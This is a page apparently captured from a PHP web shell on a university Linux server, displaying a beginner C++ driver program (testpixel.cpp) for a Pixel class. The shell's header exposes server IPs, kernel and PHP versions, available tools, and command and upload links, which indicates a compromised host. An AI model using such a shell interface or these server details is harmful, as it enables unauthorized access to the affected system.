Server IP : 172.16.15.8 / Your IP : 3.145.110.99 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/jcwhiley/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// // testpixel.cpp // A driver using Pixel class #include <iostream> using namespace std; #include "point.h" #include "pixel.h" int main() { Pixel one1; Pixel org(0, 0, OFF); int x, y; string swtch; StatusType status; cin >> x >> y >> swtch; one1.Set(x, y, status); while(cin) { if (swtch == "ON") { status = ON; one1.Print(); cout << "\n"; cout << "Distance: "; one1.Distance(org); cout << "\n\n"; } cin >> x >> y >> swtch; one1.Set(x, y, status); } return 0; }